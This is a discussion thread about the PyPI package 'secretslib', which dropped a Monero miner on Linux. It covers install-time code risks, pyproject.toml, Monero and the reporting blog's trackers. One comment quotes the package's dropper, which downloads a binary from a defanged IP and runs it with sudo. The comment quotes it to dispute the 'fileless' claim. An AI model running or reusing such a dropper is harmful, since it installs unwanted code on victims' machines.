PyPI package 'secretslib' drops fileless Linux malware to mine Monero
blog.sonatype.com
blog.sonatype.com
If you come across a malicious package you can send a take down request at:
Agreed! The good news is that it's slowly getting better: just yesterday[1], setuptools added support for PEP 660[2], which removes one of the last remaining reasons to use a `setup.py` instead of a fully declarative `pyproject.toml`.
Edit: Also, just to qualify: this is a consistent problem across packaging ecosystems. Even system package managers (reasonably!) allow custom code during installation, e.g. to add service hooks and update locale files.
[1]: https://twitter.com/juanluisback/status/1557734536586625025
I actually wrote a Python tool for downloading binary releases from GitHub and Gitea and wrote a “builder” module that can be used in a pyproject file to tell it to download an arbitrary binary and run some commands.
Here’s an example in action: https://github.com/IamTheFij/release-gitter/tree/main/sample...
Perhaps spit a scary sounding security warning for all packages which use a setup.py?
This would be nice, but there's probably too many practical barriers to this. For example, you can't (easily) replace `setup.py`'s dynamism for packages that contain native packages: they need to be able to spawn compilers, etc. and do so in ways that are hard to describe declaratively.
We probably don't want to provide a security warning on every native non-wheel package, so that's a no-go for the time being.
Wheels are solving that problem, but it's likely going to be many years before warning about `setup.py` is reasonable and not disruptive to the majority of legitimate users.
In terms of hooks, audit hooks and events[1] get us some of the way there. But they can be circumvented as well; I wouldn't rely on them for untrusted code.
And some pyproject.toml features are still experimental per the setuptools docs, so I'm not sure which method to choose for our internal projects.
I'm glad the setuptools/pip/Python devs are cleaning up the packaging situation though. pyproject.toml seems perfect, when it becomes ready.
[1] https://setuptools.pypa.io/en/latest/userguide/pyproject_con...
(But this doesn't matter for packaging purposes, since setuptools is also not included in the base distribution, but does include TOML support.)
In Rust it's "worst", you can run custom code at compile time. But IMO the issue is that we are optimizing everything for convenience at the cost of security. The compile/install custom code wouldn't be an problem if each dependencies was pinned and audited.
PyPI requiring 2 factors authentication on "popular" projects will help, but this will not replace the needs for auditing, vetting and pinning.
What is ridiculous is that users have no way of restricting what packages can run on a fine-grained level, at both build time and runtime.
We should fix that problem. If we do, then we could make computing a lot safer.
Disclaimer: I'm working on that problem.
But I've only heard of Monero being used in scams like this, so I'm curious as to if there are legitimate uses of it that allow it to have value.
I'm no coin expert, but if I were to hypothetically buy some illegal psychedelic drops off the dark webs, I'd gravitate towards Monero or a Monero-likes over Dodgecoin. There are plenty of scammy coins, but there are also ones that fill a niche.
sudo apt -y install wget cpulimit > /dev/null 2>&1 && wget -q http://5.161.57[.]250/tox && chmod +x ./tox && timeout -k 5s 1h
sudo ./tox
rm ./tox
Doesn’t seem fileless to me.Also, hyping up undetected Linux malware is just silly.
Yeah I agree, but since the whole essay is pretty much a sales pitch for their product, that's to be expected.
Also first-stage dropper are almost always heavyly obfuscated to avoid detection. There isn't anything novel about this and the second-stage malware actually has reasonable detection rates.
edit: They could have written the malware in python, and after decoding it run it with eval, done right it would even be cross platform. Now I'm wondering how well i could hide something like this. I gotta stop before I get swept up and start adding easter eggs.
Nope. It's `apt ... && ...`, and as the left-hand side of `&&` would fail on systems without APT, the right-hand side won't ever run, so it wouldn't work because it wouldn't ever download that `tox` binary.
In a windows malware context “fileless” means something entirely different from this.
If this malware was piggybacking on the actual python process to do its thing, then maybe you could reasonably call it “fileless”.
If your malware can be detected by a simple real-time AV scanner which just hooks file I/O, it definitely isn't fileless.
Linux emphasized because you think
- such Linux malware as there is commonly goes undetected
- there is a lot of Linux malware in some sense
- it's easy to create Linux malware that will not be detected
- something else?
ads-twitter.com cookiebot.com driftt.com facebook.net google.com gstatic.com googletagmanager.com hs-analytics.com hs-banner.com hsadspixel.net hsleadflows.net
Their product must be terrible if they're so desperate to track you down.
Six months later: only four visitors ever chatted with the bot, zero leads generated, marketing person no longer with company. Drift bot code ripped out after 180 days, but we’re still paying the contract the idiot from marketing signed.
Tip for startups: annoying people is not a viable business model.